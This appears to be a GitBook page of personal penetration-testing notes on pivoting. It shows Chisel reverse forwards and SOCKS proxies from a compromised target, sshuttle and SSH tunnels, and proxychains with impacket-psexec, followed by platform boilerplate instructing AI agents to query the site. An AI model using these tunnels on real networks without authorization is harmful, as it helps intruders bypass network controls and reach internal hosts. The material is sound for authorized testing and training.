> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/port-forwarding-tunneling.md). # Port Forwarding - Tunneling ## Chisel * Portforwarding, Forwarding remote port 8080 to localhost On kali, ``` ./chisel server --reverse --port 9001 example, ./chisel server --reverse --port 9001 ``` On target, ``` .\chisel.exe client :9001 R::127.0.0.1: example, .\chisel.exe client 10.10.14.38:9001 R:8080:127.0.0.1:8080 ``` Sock5 proxy with chisel, On kali, ``` ./chisel server -p 9001 --socks5 --reverse ``` On target, ``` chisel client :9001 R:5000:socks ``` R:5000:socks * the `R` means that we want to perform a reverse port forward. * `5000` will be the port on the attacker machine that will act as the entry point to our SOCKS5 proxy; and * `socks` simply means we are using the SOCKS protocol. Add `socks5 127.0.0.1 5000` to `/etc/proxychains.conf` * Don't forget to disable DNS resolution over proxychains. udp port forward ``` /opt/chisel/chisel_1.7.7_linux_386 server --reverse --port 9001 ./chisel_1.7.7_linux_386 client 192.168.119.203:9001 R:10.1.1.89:1978/udp ``` ## Sshuttle This is the best tunneling tool * Standalone (compiled and ready to be executed) binaries, * * ``` sshuttle -vvv -e 'ssh -i id_rsa' -r morph3@10.11.1.252 -x 10.11.1.252 10.2.2.1/24 ``` ``` sudo ./sshuttle -e "ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -c 3des-cbc" -r morph3@10.11.1.252:22000 10.2.2.1/24 ``` ## SSH Port forwarding, forwards remote host 10.10.10.99:2049 back to localhost:2049 ``` ssh -L 127.0.0.1:1978:10.10.10.99:1978 morph3@1.3.3.7 ``` Tunneling, ``` ssh morph3@1.3.3.7 -p22000 -D 127.0.0.1:1080 ``` ``` proxychains firefox proxychains impacket-psexec administrator@10.13.37.1 ``` ## Regeorg * --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://notes.morph3.blog/port-forwarding-tunneling.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.